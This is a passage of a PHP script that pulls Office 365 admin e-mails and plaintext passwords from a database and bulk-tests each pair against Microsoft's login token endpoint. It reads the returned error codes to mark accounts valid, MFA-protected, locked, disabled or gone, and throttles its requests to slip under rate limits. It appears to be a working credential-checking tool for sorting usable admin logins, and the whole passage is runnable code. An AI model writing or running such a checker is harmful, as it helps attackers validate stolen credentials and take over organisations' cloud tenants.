setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); } catch (Exception $e) { die("DB Error: " . $e->getMessage() . "\n"); } function checkOfficeAccount($email, $password, $tenantDomain = null) { $result = [ 'password_status' => 'unknown', 'has_license' => null, 'has_mfa' => null, 'access_token' => null ]; if (empty($email) || empty($password)) return $result; $tenant = $tenantDomain ?: 'common'; if (strpos($tenant, '.onmicrosoft.com') !== false) { $tenant = str_replace('.onmicrosoft.com', '', $tenant); } $url = "https://login.microsoftonline.com/$tenant.onmicrosoft.com/oauth2/v2.0/token"; $postData = http_build_query([ 'grant_type' => 'password', 'client_id' => '1b730954-1685-4b74-9bfd-dac224a7b894', 'username' => $email, 'password' => $password, 'scope' => 'https://graph.microsoft.com/.default' ]); $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_POST => true, CURLOPT_POSTFIELDS => $postData, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 15, CURLOPT_SSL_VERIFYPEER => true, CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded'] ]); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); $data = json_decode($response, true); if ($httpCode === 200 && isset($data['access_token'])) { $result['password_status'] = 'valid'; $result['has_mfa'] = false; $result['access_token'] = $data['access_token']; return $result; } if (isset($data['error'])) { $errorDesc = $data['error_description'] ?? ''; if (strpos($errorDesc, 'AADSTS50126') !== false) { $result['password_status'] = 'invalid'; $result['has_mfa'] = false; } elseif (strpos($errorDesc, 'AADSTS50076') !== false || strpos($errorDesc, 'AADSTS50079') !== false) { $result['password_status'] = 'valid'; $result['has_mfa'] = true; } elseif (strpos($errorDesc, 'AADSTS50057') !== false) { $result['password_status'] = 'disabled'; } elseif (strpos($errorDesc, 'AADSTS50053') !== false) { $result['password_status'] = 'locked'; } elseif (strpos($errorDesc, 'AADSTS50034') !== false) { $result['password_status'] = 'not_found'; } elseif (strpos($errorDesc, 'AADSTS5000224') !== false) { $result['password_status'] = 'tenant_gone'; } elseif (strpos($errorDesc, 'AADSTS65001') !== false) { $result['password_status'] = 'valid'; $result['has_mfa'] = false; } elseif (strpos($errorDesc, 'AADSTS50055') !== false) { $result['password_status'] = 'expired'; } elseif (strpos($errorDesc, 'AADSTS50058') !== false) { $result['password_status'] = 'valid'; $result['has_mfa'] = true; } else { $result['password_status'] = 'error'; } } return $result; } // Récupérer les comptes non vérifiés ou tous $where = "admin_email IS NOT NULL AND admin_password IS NOT NULL AND admin_password != ''"; if ($filterStatus === 'pending') { $where .= " AND (password_status IS NULL OR password_status = 'unknown')"; } $sql = "SELECT id, admin_email, admin_password, tenant_domain FROM admin.office_accounts WHERE $where ORDER BY id DESC LIMIT $limit OFFSET $offset"; $accounts = $pdo->query($sql)->fetchAll(PDO::FETCH_ASSOC); $total = count($accounts); echo "Found $total accounts to verify\n"; echo str_repeat("-", 60) . "\n"; $stats = ['valid' => 0, 'invalid' => 0, 'mfa' => 0, 'tenant_gone' => 0, 'other' => 0]; $processed = 0; foreach ($accounts as $acc) { $processed++; $email = $acc['admin_email']; echo "[$processed/$total] $email ... "; $checkResult = checkOfficeAccount($email, $acc['admin_password'], $acc['tenant_domain']); $newStatus = 'Pending'; if ($checkResult['password_status'] === 'valid') { $newStatus = 'Active'; $stats['valid']++; if ($checkResult['has_mfa']) $stats['mfa']++; echo "✓ VALID" . ($checkResult['has_mfa'] ? " (MFA)" : "") . "\n"; } elseif ($checkResult['password_status'] === 'invalid') { $newStatus = 'Blocked'; $stats['invalid']++; echo "✗ INVALID\n"; } elseif ($checkResult['password_status'] === 'tenant_gone') { $newStatus = 'Blocked'; $stats['tenant_gone']++; echo "✗ TENANT GONE\n"; } else { $stats['other']++; echo "? " . strtoupper($checkResult['password_status']) . "\n"; } // Conversion boolean pour PostgreSQL $hasLicense = null; $hasMfa = $checkResult['has_mfa'] === null ? null : ($checkResult['has_mfa'] ? 't' : 'f'); $stmt = $pdo->prepare("UPDATE admin.office_accounts SET password_status = ?, has_license = ?, has_mfa = ?, last_check = NOW(), status = ? WHERE id = ?"); $stmt->execute([ $checkResult['password_status'], $hasLicense, $hasMfa, $newStatus, $acc['id'] ]); // Pause pour éviter le rate limiting usleep(300000); // 0.3 seconde } echo str_repeat("-", 60) . "\n"; echo "=== RÉSULTATS ===\n"; echo "✓ Valid: {$stats['valid']} ({$stats['mfa']} avec MFA)\n"; echo "✗ Invalid: {$stats['invalid']}\n"; echo "✗ Tenant Gone: {$stats['tenant_gone']}\n"; echo "? Other: {$stats['other']}\n"; echo "\nTerminé!\n";